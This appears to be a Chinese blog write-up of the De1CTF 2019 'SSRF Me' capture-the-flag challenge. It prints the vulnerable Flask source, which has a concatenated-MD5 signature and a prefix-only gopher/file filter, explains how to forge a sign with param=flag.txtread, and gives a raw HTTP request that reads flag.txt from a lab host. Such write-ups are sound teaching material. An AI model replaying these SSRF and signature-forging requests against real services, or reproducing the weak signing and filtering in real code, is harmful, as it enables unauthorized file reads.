De1CTF 2019_SSRF Me

发布于 2021-08-06  54 次阅读


题目打开给出源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16) # 随机生成16位的密钥


class Task:
def __init__(self, action, param, sign, ip): # 初始化,获取action, param, sign, ip(进行mad5加密)
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action: # 读取文件
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)): # 不能出现 gophar file
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param): # 对网站发起请求
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

是一个flask的一份网站 源码,进行代码审计。(一般来说这种题都是从路由入手)

@app.route("/geneSign", methods=['GET', 'POST']) # 给出md5拼接加密
@app.route('/De1ta',methods=['GET','POST']) # 解题的关键
@app.route('/') # 给出网页源码

然后审计传参

param # get或者post 方式获取
action # cookie获取
sign # cookie获取
ip # 自动获取与本题关系不大

最后审计类

class Task 需要上述的四个传参

进行初始化 获取四个参数

接下来利用checksign函数对传参进行校验 跟踪checksign()发现这个函数调用getsign这个函数 让getsign的返回值等于sign的值,跟踪一下getsign函数,该函数进行了一次 hashlib.md5(secert_key + param + action).hexdigest() md5值加密并返回

接下来判断 action中是否存在scan,如果存在就将 param 请求到的页面数据写入到result.txt中

在判断action中是否存在read,如果存在就读取result.txt的信息

结合上述分析,并结合提示 flag is in ./flag.txt可以得出

  1. 首先要绕过checksign函数的检查,及 sign = hashlib.md5(secert_key + param + action).hexdigest()
  2. action要包含readscan
  3. param要包含请求flag.txt

这里secert_key 是 随机生成的16位数,我们没有办法得到 param 和action是我们可以控制的,因此想要获取正确的MD5值就要在/geneSign入手。

观察这个路由下面的函数,我们发现这里action=scan,和我们预计的action=readscan不太符合,那应该怎么办呢?

解决的办法:

hashlib.md5(secert_key + param + action).hexdigest()
这里加密之前采用的字符串拼接的方式,因此代码可以这样理解
string = secert_key + param + action
hashlib.md5(string).hexdigest()
因此 : string = secert_key + 123 +456 和 string = secert_key + 12345 + 6 加密之后的结果是一样的
这样的话我们在路由/geneSign处构造payload ?param=flag.txtread 即可得到我们想要的sign的值
即sign = 4caa41a59c8d4fff6d84d7daba784baa

由此我们可以得到最终的payload

GET /De1ta?param=flag.txt HTTP/1.1
Host: a51fe3b8-0d22-47af-9ca7-d03771a57c37.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17926f9994c8c7-00126e8d6cb0ba-d7e1739-1fa400-17926f9994daf9;action=readscan;sign=4caa41a59c8d4fff6d84d7daba784baa
Connection: close

还有一种hash扩展攻击的方法也能获取md5的值,这里就不在描述 贴上大佬连接,有兴趣可以看看